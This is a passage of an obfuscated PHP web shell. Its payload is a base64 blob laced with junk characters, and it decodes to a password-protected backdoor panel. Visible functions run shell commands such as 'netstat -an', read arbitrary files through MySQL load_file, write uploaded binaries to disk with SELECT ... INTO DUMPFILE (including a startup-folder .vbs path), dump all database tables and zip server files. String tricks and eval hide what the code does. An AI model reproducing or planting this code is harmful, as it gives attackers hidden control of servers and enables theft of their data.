EFUSU9OX0ZJRUxEUyB3avfeGvfeVyZSBSvfeREJcJFJvfeFTEFUSU9OX05vfeBTUUvfe9J3RhYmxlX25hbvfeWUnOvfeyI7CglTdHJvfebM10gvfePvfeSAiaW5vfewdXQgJ0Q6XFvfexjcmVhdGV0YWJsZvfeSvfe5zcvfeWvfewvfenOyI7CglTdHvfeJbNF0gPSAic2hlbGwgbmV0c3RhdCAtYW47IjvfesvfeKZmvfeJmb3JtLmZic3FsLnZhbHVlID0gU3RyvfeW2ldOwvfepyZXR1cm4gdHJ1vfeZTsKfQo8L3NjcmlwdD4KPHRlvfeevfeHRhcmVhIvfeG5hbWU9ImZic3FvfesIiBzvfedHlsvfeZT0ivfed2lkvfedGg6NjAwcHg7aGVpZ2h0vfeOjvfeIwMHB4OyI+eyvfeRmYvfenF1ZXJ5fvfeTwvdGV4dGFyZWE+PGvfeJvfeyPvfego8cvfe2vfeVsZWN0IG9uY2hhbmdlPSJyZXR1cm4gZmJGdWxsKG9wdGlvbnNbc2VsZWN0ZWRJbmRleF0udmFvfesdWUpIj4KCTxvcHRpb24gdmFsdWU9vfeIjAiIvfeHvfeNlbGVjvfedGvfeVkPtavfe00NDvfeD/MHuPC9vcHRpb24+Cgk8b3vfeB0aW9uIHZvfehbHVvfelPSvfeIxIj6x7bbOvfePC9vcHRpvfebvfe24+Cgk8b3B0avfeW9uIHZhbHVlPSIyIj7X1rbOPC9vcHRpb24+vfeCgk8bvfe3B0aW9uIHZhbHvfeVlPSIzIj7Mvfe7bzTc3FsPvfeC9vcvfeHRpb24+Cvfegk8b3B0aW9uIHZhbvfeHvfeVvfelPSI0Ij5zaGVsbDvfewvb3B0aW9vfeuPgo8L3NlvfebGVjdD4KPGlucHV0IHvfeR5cvfeGU9ImhpZGRlbiIgbmFtZTvfe0iYWN0aW9uvfeIiB2YWvfex1ZT0vfeiZmJxdWVyeSI+CjxpbvfenvfeB1dCvfeBjbGvfeFzcz0iYnQiIHR5cGU9vfeInN1vfeYm1pdCIgdmFsdWU9IlvfeF1vfeZXJvfe5vfeIj48L2Rpdj48Lvfe2Zvcm0+CkVORDsKaWYoJGZiYWvfeN0aW9uID09ICdmYvfenF1ZXvfeJ5vfeJylvfe7CiRmYmxpbmsvfegPvfeSBpYmFzZVvfe9jb25uvfeZWN0KCRvfemYmhvc3QuJzvfeonLiRmYnBhdGgsJGZidXNlciwvfekZmJwYXNzKSBvvfeciBvfekavfeWUoaWJhc2vfeVvfefvfeZXJvfeybXNnKCkpOwokZmJyZXN1vfebHQgPSvfeBpYmFvfezvfeZV9xdWVyeSgkZmJsaW5rLCRvfemYnF1ZXJ5KSBvcvfeiBkaWUoaWJhcvfe2VfZXJybXNnKCkpOwplY2hvICc8Zvfem9udCBmYWNlPSJ2ZXJkYW5hIvfej48dGFibGUgYm9yZGVyvfePSIxvfeIiBjZvfeWxscGFkZGluZvfez0iMSIvfegY2VvfesbHNwYWNpbvfemc9IjIivfePicuIlxuPHRyPlvfexuIvfejsKZm9yvfeICvfegkvfeavfeT0wOyAkaTxpYmFzvfeZV9udW1vfefZmvfelvfelbGRzKCRvfemvfeYnJlc3VsdCk7ICRpKyspCntlY2hvICvfec8dGvfeQ+PGI+Jy5pYmFzZV9maWVsZF9pbmZvKCRmYnvfeJlc3VsdCwgJGkpLiI8L2I+PC90ZD5cbiI7fQvfeplYvfe2hvICI8L3RyPvfelxvfeuIjvfesKvfeaWvfeJhc2VfZmvfellbGRfaW5mbygkZmJyvfeZXN1bHQsvfeIDApOwp3aGlsZSAoJGZicm93PWliYXNlX2ZvfeldGvfeNvfeoX3JvdygkZmJyZXN1bvfeHvfeQpKQp7CmVjaG8gIjvfex0cj5cbiI7CmZvciAoJGk9MDsgJGk8aWJhc2VfbnVtX2ZpZWvfexvfekcygvfekZmJyZXN1bHQpOyAkaSsrICkKe2VjaG8gJzx0ZD4nLiIvfekZvfemJyb3dbJvfeGldIi4nPC90vfeZD4nO30vfeKZWNobyvfeAiPC90cj5cbvfeiIvfe7Cn0KZWNovfebyAiPCvfe90YWJsZT48L2ZvbnQvfe+IjsKaWJhvfec2VfZnJlZV9yZXN1bHQoJGZicvfemVzdWvfex0KTsKaWJhcvfe2VvfefY2xvc2UoKTsKfQp9Cn0KvfeLy9NeVNxbNa00vfeNAKZnVuY3Rpb24gTXlzcWvfexfbigpCvfensKCSRNU0dfvfeQkvfe9YvfeID0gJyc7CgkkbWhvfevvfecvfe3QgPSAnbG9jYWxobvfe3N0JzsgJG1vfe1c2VyID0gJ3Jvb3QnOyAkbXBvcvfenQgPSAnMzMwNvfeic7ICRvfetcGFzcyA9ICcnOyAkbWRhvfedGEgPSAnbXlvfezvfecvfeWwnOyAkbXNxbCA9ICdzZWxlYvfe3QgdmVyc2lvvfebigpOyc7CgvfelpZihpc3NldCgkvfeX1BvfePU1RbJ2vfe1ob3N0J10pICvfeYmvfeIGlzc2V0KCRfUE9TVvfeFsnbXvfeVzvfeZXInXSvfekpCvfegl7CvfegkJvfeJG1ob3N0ID0gJF9vfeQT1NUWydtaG9zdCddOvfeyvfeAvfekbXVzZXIgPSAkX1BPU1RbJ211vfec2VyJ107ICRtcGFzvfecyvfeA9vfeICRfUE9vfeTVFsnbXBhc3MvfenvfeXTsgJG1vfekYXRhID0gJF9QT1NUWydtZGF0YSddOyvfeAkbXBvcnQgPSAkvfeX1BPU1RvfebJ21wb3J0J107CgkJaWYoJvfeGNvbm4gPSBteXNxbF9jb25uZWN0KCRtavfeG9zdC4nOvfeicuJG1wb3J0LCRtdXNlcvfeiwkbXBhcvfe3MpvfeKSBAbXlzcWxfc2VsZWN0vfeXvfe2RiKCRtZGF0YSk7CgkJZWxzZSAvfekTVNHX0vfeJPWCA9IvfeCfBrL3TTvfeVvfelTUUzKpvfe7DcJzvfesKCX0KCSRkb3duZmlsZSA9ICdjOvfei93aW5kb3dzL3JlcGFpci9zYvfeW0nOvfewvfeovfeJaWYovfeIWVtcHvfeR5KCRfUE9TVFsnZvfeG93bmZpbGUnXSkpCgvfel7CgkJJGRvd25maWxlID0gRmlsZVvfe9TdHIoJF9QT1vfeNUWydkb3dvfeuZmlsZSddKTvfesvfeKCvfeQkkYmlucGvfeF0vfeaCA9IGJpbjJoZXgoJGRvd25maWxlKTsKCQkkcXVlcnkgvfePSvfeAncvfe2VvfesZWNvfe0IGxvfevYWRfZmlsZSgweCcuJGJpbnBhdGguJyknOwoJCWlvfemKCRyZXNvfe1bHQgPSBAbXvfelzcWxfcXVlcvfenkoJHF1ZXJ5LCRjb25uKSkKCQl7CgkJCSRrIvfeD0vfegMDsgJGRvd25jb2RlIDvfe0gJyc7CgkJCXdovfeaWxlKCRybvfe3cgPSBAbXlzvfecWxfvfeZmV0Y2hvfefYXJyYXkoJHJlc3VsdCkpeyRkb3duvfeY29kZSAuPSAkcm93WyRvferXTskaysrO30KCQkJJGZpbGVkbvfe3duID0gYmFzZW5hbvfeWUoJGRvd25maWxlKTsKCQkJaWYoIvfeSvfeRmaWxlZG93bikgJGZpbGVkb3vfedvfeuvfeID0vfegJvfe3NpbGljLnRtcCc7CgkJCSRhcnJheSvfeA9IGV4cGxvZGUvfeoJvfey4nLCAkZmlsZWRvd24pvfeOwovfeJCQkkYXJvfeyYXllbvfemQgPSBhcnJheV9wb3AoJGFycmFvfe5KTsKCQkvfeJaGVhZGVyKCdDb250ZW50LXR5cGU6IGFwcGvfexpY2F0aW9uL3gtJy4vfekYXJyYXlvfelbmQpOwovfeJCQlvfeoZWFvfekZvfeXIoJ0NvbnRlbnQtRGlvfezcGvfe9zaXRpb246IGF0dGFjaGvfe1vfelbnQ7IGZpbGvfeVvfeuYWvfe1lPScuJGZpbGVkb3duKTsKCQkJaGVhZGVyvfeKCdvfeDb2vfe50ZW50LUvfexlbvfemd0aDovfegJy5zdHJsZvfeW4vfeoJGRvd25jb2vfeRvfelKSk7vfeCgkJCWVjaG8gJGRvd25vfejb2RlOvfewoJvfeCQlleGl0OwvfeoJCXvfe0KCQllbHNlICRNU0dvfefQk9vfeYID0gJ8/C1NjOvfexLz+yqevfew3Cc7Cgl9CgkkbyA9IGlzc2V0KCvfeRfR0VUWydvJ10pID8gvfeJvfeF9HRVRbJ28nXSA6ICcnOvfewoJUm9vdF9DU1vfeMoKvfeTsKcHJpbnvfeQ8PDxFTkQKvfePGZvcm0gbWV0vfeaG9kPSJQT1NUIvfeiBvfeuYvfeW1lPSJuZm9ybSIgaWQ9Im5mb3JtIiBhY3Rpb24vfe9Ij9zPW4mbz17JvfeG99IiBlvfebvfemN0eXBlPSvfeJtdWx0aXvfeBhcnQvZm9ybS1vfekYXvfeRhIvfej4KPGNlbvfenRlcj48ZGvfel2IGNsYXNzPSvfeJhY3RhbGwiPjxhIGvfehyZWY9Ij9vfezPW4ivfePltNWVNRTvfeNa00NDT777kXTwvYT4KPGEgaHvfeJlZj0iP3M9bvfeiZvPXRxIj5bTVlTUUzM4cioXTwvYT4KPGEgaHJlZj0iP3M9biZvPXRrvfeIj5bTVlTUUzN0b/isbi33V08L2E+CjxhIGhyZWY9Ij9zPW4mbz11Ivfej5bTVlTUUzJz7SrzsS8/vfel08L2E+CjxhvfeIGvfehyZWY9Ijvfe9zPW4mbzvfe1kIj5bTVlTUUzPwvfetTYzsS8/l08L2E+PC9kaXY+CvfejxkaXvfeYvfegY2xhvfec3M9ImFjdGFsbCI+CrXY1rcgPGlucHV0IHR5cGU9InRleHQivfeIG5hbWU9Imvfe1ovfeb3N0IiB2YWx1ZT0vfeivfeeyvfeRtaG9zdH0iIHN0eWvfexlPvfeSJ3vfeaWR0avfeDoxMTBwvfeeCI+CrbLv9ogvfePvfeGlucHV0IHvfeRvfe5cGU9InvfeRlevfeHvfeQiIG5hbWU9Im1vfewb3J0IvfeiB2YWx1ZvfeT0ieyRtcG9vfeydH0iIHN0eWxlPSJ3aWR0aDvfeoxMTvfeBweCI+CtPDu6cgPGlucHvfeV0IHR5cGU9InRleHQiIG5hvfebvfeWvfeUvfe9Im1vfe1c2VvfeyIiB2YWxvfe1vfeZT0ivfeeyRtdvfeXvfeNvfelcvfen0iIHN0eWxlPvfeSJ3aWR0aDoxMTBvfeweCI+CsPcwvfeusgPGlucHV0IHR5cGU9InRlvfeeHQiIGvfe5hbWU9vfeIm1wYXNzIiB2YWx1ZT0ieyvfeRtcGFzcvfe30iIHN0eWxlPSJ3aWR0aDoxMvfeTBweCI+Cr/iw/vfesgPGluvfecHV0vfeIHR5cGUvfe9InRleHQiIvfeGvfe5hbWUvfe9Im1kYXRhIiB2YWx1ZT0ieyRtZGFvfe0YX0iIHN0eWxlPSJ3aWR0aDoxMTBvfeweCIvfe+CjwvZGvfel2Pgovfe8ZGl2IGNsYXNzPvfeSJvfehY3RhbvfeGwiIHN0eWxlPSJvfeoZWlnvfeavfeHQ6MjIwcHg7Ij4KRU5EOwppZigkbzvfe09J3UnKQp7CgkkdXBwvfeYXRoIvfeD0gJ0M6L0vfeRvY3VtZW50cyBhvfebmQgU2V0dGluZ3MvQWxsIFVzZvfeXJzL6G4v6rKvKvfeG5ssu1pS+zzNDyL8vfeb0tq8vvfeZXhwLnZicvfeyc7CglpZighZW1wdHkoJF9QT1vfeNUWyd1cHvfeBhdGgnXSkpCgl7CgkvfeJJHVwcGFvfe0avfeCA9ICRfUE9TVFsndXBwYXRovfeJ10vfe7CgkJJHF1ZXvfeJ5ID0gJ0vfeNyZWF0ZSvfeBUvfeQUJMRSBhIvfeChjbWvfeQgdGV4dCBOT1QvfegTlVMTCk7vfeJzsKCQlpZihAbvfeXvfelzcWxvfefcvfeXVlcnkoJvfeHF1ZXJvfe5LCRjvfeb25uKSkKCQl7CvfegvfekJCWlmKCR0bXBjb2vfeRlIvfeD0gvfeRvfemlvfesZV9SZWFkKCRfvfeRvfeklMRVNvfebJ3VwZmlsZSddWyvfed0bXBfbmFtZSddKSlvfe7JGZpbGVjb2RlID0gYmluMmvfehlevfeChGaWxlX1JlYWvfeQoJHRtcGNvZGUpKTt9CgkJCWVsc2V7JHRtcCA9IEZpbGVfUvfe3RyKGRpcm5hbWUvfeoX19GSUxvfeFX1vfe8pKS4nL3VwZmlvfesZSvfe50bXAnO2lmKEZpbGVfVXAoJvfeF9vfeGSUxFU1sndXBmaWxlJ11vfebJ3RtcF9uYW1lJ10sJHRtcCkvfepeyRmaWxlY29kZSAvfe9IGJpbjJoZXgoRmvfelsZV9SvfeZWFkKCR0bXApKTtAvfedW5saW5rKCR0bXApO319vfeCgkJCSRxdWVyeSA9ICdJbnNlcnvfeQgSU5UTyvfeBhIvfeChjbWQpIFvfeZvfeBTFVFUyhDTvfe0vfe5WRVJUKDB4vfeJy4kZmlsZWNvZGUuJyxDSEFSKSk7JzsKCQkvfeJaWYoQG15c3vfeFsX3vfeFvfe1ZXJ5vfeKCRxdWVyeSwkYvfe29uvfebikpCgkJCXsKCQvfekvfeJCSRxdWVyeSAvfe9ICdTRUvfexFQ1QvfegvfeY21kIEvfeZST00vfegYvfeSBJTlRPIERVvfeTVBGSUxFIvfeFwnJy4kdXBvfewYXRoLidcJvfezvfesnvfeOwoJCQkJJE1vfeTR19CT1ggPSBAbXlzcWxfcvfeXVlcnkoJHF1ZvfeXvfeJ5vfeLCRjb25uvfeKSAvfe/vfeICfvfeJz7SrzsS8/rPJuaYnIDogJ8nPtKvOxLvfez+yqew3Cc7vfeCgkJCX0KCvfeQkJZWxzvfeZSAkTVNHX0JPWCA9ICevfey5cjrwdnvfeKsbHvfetyqevfew3Cc7CgkJCUBtvfeeXNvfexbF9xdWVvfeyeSgnRHJvvfecCvfeBvfeUQUJMvfeRSBvfeJRiBFWElTVFMvfegYTsnLCRjvfeb25uKTsvfeKCQl9vfeCgvfekJZWxzZSAkvfeTVNHX0JPWCA9ICe0vfetvfeL2owdnKsbHtyqew3Cvfec7Cgvfel9CvfenByaW50PDw8RvfeU5ECjxicvfej48YnI+yc+0q8vfeK3vfevvferYgPGlucHV0IHR5vfecGU9InRleHQivfeIG5hbvfeWU9InVwcGF0aCIgvfedvfemFsdWU9InskdXvfeBwvfeYXRofSIgvfec3R5bGU9IndpvfeZvfeHRoOjvfeUvfewMHB4Ij4KPGJyvfePjxicvfej7RodTxzsS8/iA8aW5wdXQgdHlwZT0iZmlsZSIgbmvfeFvfetZTvfe0idXBmaWxlIiBzdHvfelsZTvfe0id2lkdGg6NTAwcHg7aGVpZvfe2h0OjIyvfecHvfeg7Ij4KvfePC9kaXY+vfePGRpdiBvfejbGFzcz0vfeiYWN0YWxsIj48aW5wvfedXQgdHlwvfeZT0ic3VivfebWl0IiB2YWx1ZT0iyvfec+0qyIgvfec3R5bGU9IndpZHRoOjgwcHg7Ij4KvfeRUvfe5vfeEOwp9CmVsc2VpZigkbz09J2vfeQnvfeKQp7CnByaWvfe50PDw8RU5ECvfejxicvfej48YnI+PGJyPs/C1NjOxLz+IDxvfepbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJkb3vfeduZmlsZvfeSIgdvfemFsdWU9IvfenskZG93bmZpbGV9vfeIiBvfezdHlvfesZT0id2lkdGg6NTAwcvfeHgivfePgovfe8L2Rpdj48ZGl2IGNsYXNzPSJhYvfe3RhbGwiPjxpbnB1dCB0eXvfeBlPSJzdWJvfetaXQiIHZhbHVlPSLPwtvfeTYvfeIiBzdHlsZT0id2lkdvfeGg6ODBweDsiPgpFTkQvfe7Cn1lbHNlavfeWYoJG89PSd0aycpvfeewppZigvfekX1BPU1RbJ2R1bXAnXT09J2R1bXAnKXsKJG15c3FvfesX2xpbms9QG15c3FsX2Nvbm5lY3QoJG1ob3N0LCRtdXNlciwkbXBvfehc3MpOwpteXNvfexbF9zZWxlvfeY3RfZGIoJGvfe1kYXRhKTsKbXlzcWxfcXVlcnkoIlNFVCBOQU1FUyBnYmvfesiKTvfesKvfeJG15c3FsPSIvfeiOwokcTEvfe9bXlzcWxvfefcXvfeVlcnkoInNob3cgdvfeGFibGVzIvfeivfek7CndovfeaWxlKCR0PW15c3FsvfeX2ZldGNoX2FyvfecvfemF5KCRvfexvfeMvfeSkpewogICR0YWJsZT0kdFswXTsKICAkvfecTI9bXvfelzcWxfcXVlcnkoInNob3cvfegY3JlvfeYXRlvfeIHvfeRhYmxlIGAkdGvfeFibGVgIik7CiAgJHNxbD1teXvfeNxbF9mZXRjaF9hcnJheSgkcTIpOwogICRteXNxbC49JHNxbFsnQ3vfeJlYXRlvfeIFRhYmxvfelJ10uvfeIvfejtcclxuvfeXvfeHJcbiI7CiAgJHEzvfePWvfe15c3vfeFsX3F1ZXJ5KCJzZWxlY3vfeQgKiBmcm9tIGAkdGFibGVvfegIvfeik7vfeCiAgd2hpvfebGUovfeJGRhdGE9bXlzcWxfZmV0Y2hfYXNzvfeb2MoJvfeHEzKSkKIvfeCAgIHsKICAvfegvfeICRrZXlzPWFycmF5X2tleXvfeMoJvfeGRhdGEpOwogICvfeAgJGtleXM9YXJvfeyYXlfbWvfeFwKCdvfehZGRzbGvfeFzaGVzJywka2V5cyk7CiAgICvfeAka2V5cz1qb2luvfeKCdgLGAnLCRrZXlzKvfeTsgICAgCiAgICAka2V5cz0iYCIuJGtleXMuImAivfeOwogICvfeAgJvfeHZhbHM9YXJyYXlfdmFsdWVzKCRkYXRhKTvfesKICAgICR2YWxzvfePWFycmF5X21hcCgnYWvfeRkvfec2xhvfec2hlcycsvfeJHZhbHMvfepOwogvfeICAgJvfeHZhbHM9vfeam9pbigiJyvfewnIiwkdmFsvfecyk7vfeCiAgICAkdmFscz0iJyIuJHZhbHMuIvfeiciOwogICAvfegJG15c3FsLj0vfeiaW5zZXJ0IGludG8gYCR0YWJsZWAoJGtvfeleXMpIvfeHZhbHVlcygkdmFscyk7XHJcbiI7CiAgICB9CiAgJvfeG15c3FsLj0iXHJcbiI7vfeCn0KJGZpvfebvfeGVuYW1lPWRhdGUoIlktbSvfe1kLUdpc0EiKS4iLnNxbCI7CiRmcD1mb3BlbigkZmlsvfeZW5hbWvfeUsJ3cnKTvfesKZnB1dHMovfeJGZwLCRteXNxbCkvfe7CmZjbG9zZSgkZnApOwokdGlwPSI8YnIvfe+vfePGNlbnRlcjvfe7K/b7dsvfebi33bPJvfeuavfeajrvfeLXjvfeu/fPwtTvfeYyvvfe2+3b/ivfezvfesS8/qO6WzxvfehIGhyZWY9XvfeCvfeIiLiRmaWxlbvfemFtZS4iXCIgdGlvfe0bGvfeU9XCK14vfe7v3z8LU2FwiPiIuJGZpbGVuYW1lLiI8L2vfeE+XTwvY2VudGVyvfePvfeiI7Cvfen1lbHNleyvfeRvfe0aXvfeA9IsnQzrSxuLfdo6yxo9aksb6zzNDyy/nU2vfesvfeS/vfewry/vfeydC0Ijt9CnByaW50PDw8RUvfe5ECjxkvfeavfeXYgY2xhvfec3Mvfe9ImFjdGFsbCvfeI+PGvfeZvcm0gbWV0vfeaG9kPSJwb3N0IivfeBhY3Rpb249Ivfej9zPW4mbz10ayI+vfePGJyPgrvfeHvfe68n308vfeOxvrmmxNyjrMr9vt2/4rn9tPOvfe9q9Tvfess8m3/s7xxvfltLv6vfetcjH6b/vfe2IDotKDxvfeicj48YnvfeI+vfeCnskdGlwfTxicj48YnI+CjxvfepbnB1dCB0eXvfeBlPSJoaWRkZW4iIHZhbHVvfelPSJkdvfeW1wIiBuYW1vfelvfePSJkdW1wIivfeBpZD0iZHVtcCI+CjxpbnB1dCB0eXBvfelvfePSJvfezdWJvfetaXvfeQiIHZhbHVlvfePSLSu7z8sbi33SIgdGvfelsdGU9IlN1Ym1pvfedCIgc3R5bGvfeUvfe9IndpZvfeHRoOjEyMHB4vfeO2vfehlavfeWdodvfeDo2NHB4OyI+CjwvZmvfe9ybT48ZGl2PgpFTkQvfe7Cn1lvfebHvfeNlaWYoJG89PSd0cScpCnvfesKZXh0cmFjvfedvfeCgkvfeX1vfeBPU1QpOwpleHRyYWN0KvfeCRfR0VvfeUKTsKJHBvc3Rfc3FsIDvfe0gJHBvc3Rfc3FsID8gJHBvvfec3Rvfefc3vfeFsIDogvfeInNlbGVjdCBzdvfeGF0ZSvfehcIm5ldCvfeB1c2VyXCIpvfeIjsvfeKaWYoJGluc3RhbGwpevfewoJJGvfexpvfebmvfesgPSBteXNxbF9jb25uZWN0IvfeCgkbWhvc3QsJG11c2VyLCRtcGFzcykgb3IvfegZGllKG1vfe5vfec3FsX2Vycm9yvfeKCkpOvfewoJbvfeXlzvfecWxfc2VsZWN0X2RiKCRtZG"; 
$eau = str_replace("o","","osotr_oroeopoloaocoe"); 
$qw="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